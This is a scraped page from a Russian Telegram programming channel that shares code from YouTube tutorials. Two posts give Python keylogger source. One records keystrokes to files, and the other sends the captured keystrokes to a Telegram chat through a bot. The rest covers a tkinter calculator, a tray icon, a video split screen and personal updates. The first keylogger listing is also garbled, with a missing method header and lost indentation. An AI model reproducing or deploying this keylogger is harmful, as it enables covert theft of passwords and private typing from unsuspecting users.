Справочник Программиста
6.29K subscribers
1.35K photos
387 videos
64 files
1.7K links
По рекламе - @it_start_programmer
Мои курсы - @courses_from_it_start_bot
Сайт - https://it-start.online/
YouTube - https://www.youtube.com/@it_start
Реклама на бирже - https://telega.in/c/programmersGuide_1

Предложить идею: @it_start_suggestion_bot
Download Telegram
Кейлоггер на Python
Код из видео:

class Keylogger:
def init(self, interval):
self.interval = interval

self.log = ""
self.start_dt = datetime.now()
self.end_dt = datetime.now()

def callback(self, event):
name = event.name
if len(name) > 1:
if name == "space":
name = " "
elif name == "enter":
name = "[ENTER]\n"
elif name == "decimal":
name = "."
else:
name = name.replace(" ", "_")
name = f"[{name.upper()}]"
self.log += name

def update_filename(self):
start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "")
end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "")
self.filename = f"keylog-{start_dt_str}_{end_dt_str}"

def report_to_file(self):
with open(f"{self.filename}.txt", "w") as f:
print(self.log, file=f)
print(f"Сохранение {self.filename}.txt")

if self.log:
self.end_dt = datetime.now()
self.update_filename()
self.report_to_file()
self.start_dt = datetime.now()
self.log = ""
timer = Timer(interval=self.interval, function=self.report)
timer.daemon = True
timer.start()

def start(self):
self.start_dt = datetime.now()
keyboard.on_release(callback=self.callback)
self.report()
keyboard.wait()


if name == "main":
Keylogger(interval=SEND_REPORT_EVERY).start()
👍14
Сегодня кстати последний день скидки на курс по tkinter.
Напоминаю, что потом он будет стоить 1000р.

А ещё сегодня выйдет вторая часть по созданию кейлоггера)
👍8
Связываем кейлоггер с телеграм ботом | Кейлоггер на python часть 2
Код из видео:

import keyboard
from threading import Timer
from datetime import datetime
import telebot
from telebot import types

bot = telebot.TeleBot('')

SEND_REPORT_EVERY = 5


class Keylogger:
def init(self, report_method, chat_id=None):
self.chat_id = chat_id
self.report_method = report_method
self.interval = SEND_REPORT_EVERY

self.log = ""
self.start_dt = datetime.now()
self.end_dt = datetime.now()

def callback(self, event):
name = event.name
if len(name) > 1:
if name == "space":
name = " "
elif name == "enter":
name = "[ENTER]\n"
elif name == "decimal":
name = "."
else:
name = name.replace(" ", "_")
name = f"[{name.upper()}]"
self.log += name

def update_filename(self):
start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "")
end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "")
self.filename = f"keylog-{start_dt_str}_{end_dt_str}"

def report_to_file(self):
with open(f"{self.filename}.txt", "w") as f:
print(self.log, file=f)
print(f"Сохранение {self.filename}.txt")

def send_bot(self, message):
bot.send_message(self.chat_id, message)

def report(self):
if self.log:
self.end_dt = datetime.now()
self.update_filename()
if self.report_method == "telegram":
self.send_bot(self.log)
elif self.report_method == "file":
self.report_to_file()
self.start_dt = datetime.now()
self.start_dt = datetime.now()

self.log = ""
timer = Timer(interval=self.interval, function=self.report)
timer.daemon = True
timer.start()

def start(self):
self.start_dt = datetime.now()
keyboard.on_release(callback=self.callback)
self.report()
keyboard.wait()


@bot.message_handler(commands=['start'])
def start_bot(message):
markup = types.InlineKeyboardMarkup()
run_bot = types.InlineKeyboardButton(text='Запустить bot', callback_data='start_keylogger_tg')
run_file = types.InlineKeyboardButton(text='Запустить file', callback_data='start_keylogger_file')
markup.add(run_bot, run_file)
bot.send_message(message.chat.id,
"Чтобы запустить кейлоггер, выберите куда выводить информацию и нажмите на соответствующую кнопку.",
reply_markup=markup)


@bot.callback_query_handler(func=lambda call: True)
def callback_worker(call):
if call.data == 'start_keylogger_tg':
keylogger = Keylogger(report_method="telegram", chat_id=call.from_user.id)
keylogger.start()
elif call.data == 'start_keylogger_file':
keylogger = Keylogger(report_method="file")
keylogger.start()


bot.polling()
👍18🔥2🤨1
Наконец-то стал в рекомендации попадать.
Для тех, кто не знает, канал создан ещё в 14 году. Видео туда выкладывались очень редко, поэтому ни в реках, нигде он особо не показывался, кроме поиска. Благодаря почти году усердной работы над каналом, он наконец стал попадать в рекомендации, я долго этого ждал))

Кстати, сегодня видео выйдет ;)
29👍3
Если видео не будет какой-то время, не теряйте, у меня сейчас такое веселье происходит))
Жить негде, а квартиру пока снять сложно (нахожусь на испытательном сроке и даже не знаю, будет ли ЗП и когда))
Делаю сайт для компании на django, для этого нужно где-то за компом сидеть, а негде))
Надеюсь всё нормализуется в ближайшее время, видео постараюсь выложить в ближайшие дни.

В общем, очень весело, но никому не советую так веселиться)
8🤯8👍2🔥2
Пока что могу только статьи писать, но надеюсь совсем скоро дойду до видео))
👍10
Давненько я сюда ничего не выкладывал, и не писал.
Завтра выйдет видео, как всегда по расписанию в 16:30 по МСК ;)
🎉13🤣1
И так, график видео будет +/- такой:
Через каждые 4 дня - новое видео
Статьи так же буду выкладывать в хаотичном порядке)
👍98
Пишем GUI калькулятор на Python tkinter
Код из видео:

from tkinter import *


def btn_click(item):
global expression
try:
input_field['state'] = "normal"
expression += item
input_field.insert(END, item)

if item == '=':
result = str(eval(expression[:-1]))
input_field.insert(END, result)
expression = ""
input_field['state'] = "readonly"

except ZeroDivisionError:
input_field.delete(0, END)
input_field.insert(0, 'Ошибка (деление на 0)')
except SyntaxError:
input_field.delete(0, END)
input_field.insert(0, 'Ошибка')


def bt_clear():
global expression
expression = ""
input_field['state'] = "normal"
input_field.delete(0, END)
input_field['state'] = "readonly"


root = Tk()
root.geometry("268x288")
root.resizable(0, 0)
root.title("Калькулятор")

frame_input = Frame(root)
frame_input.grid(row=0, column=0, columnspan=4, sticky="nsew")
input_field = Entry(frame_input, font='Arial 15 bold', width=24, state="readonly")

input_field.pack(fill=BOTH)

buttons = (('7', '8', '9', '/', '4'),
('4', '5', '6', '*', '4'),
('1', '2', '3', '-', '4'),
('0', '.', '=', '+', '4')
)

expression = ''

button = Button(root, text='C', command=lambda: bt_clear())
button.grid(row=1, column=3, sticky="nsew")
for row in range(4):
for col in range(4):
Button(root, width=2, height=3, text=buttons[row][col],
command=lambda row=row, col=col: btn_click(buttons[row][col])).grid \
(row=row + 2, column=col, sticky="nsew", padx=1, pady=1)

root.mainloop()
👍20
И так, сегодня я постарел на 1 год, а ещё сегодня выйдет новое интересное видео ;)
🎉40
Добавляем значок в системный трей Windows на Python
Код из ыидео:

import pystray
import PIL.Image

image = PIL.Image.open("logo.png")


def on_clicked(icon, item):
if str(item) == 'Нажми на меня':
print('Вы нажали на пункт меню')
elif str(item) == 'Пример':
a = 10
b = 5
result = int(input('Решите пример: {} + {}\n'.format(a, b)))
if result == (a + b):
print('Молодец!')
else:
print('Неверно :(')
elif str(item) == 'Привет!':
print('Привет')
elif str(item) == 'Пока!':
print('Пока')
elif str(item) == 'Выход':
icon.stop()


icon = pystray.Icon('ITStart', image, menu=pystray.Menu(
pystray.MenuItem('Приветствие/прощание', pystray.Menu(
pystray.MenuItem('Привет!', on_clicked),
pystray.MenuItem('Пока!', on_clicked),
)),
pystray.MenuItem('Нажми на меня', on_clicked),
pystray.MenuItem('Пример', on_clicked),
pystray.MenuItem('Выход', on_clicked)

))

icon.run()
👍12👎1
Разделение экранов видео Split Screen на Python
Код из видео:

from moviepy.editor import VideoFileClip, clips_array

clip1 = VideoFileClip("v1.mp4").subclip(0, 2).margin(5)
clip2 = VideoFileClip("v2.mp4").subclip(0, 2).margin(5)
clip3 = VideoFileClip("v3.mp4").subclip(0, 2).margin(5)
clip4 = VideoFileClip("v4.mp4").subclip(0, 2).margin(5)

combined = clips_array([[clip1, clip2],
[clip3, clip4]])

combined.write_videofile('output.mp4')
👍16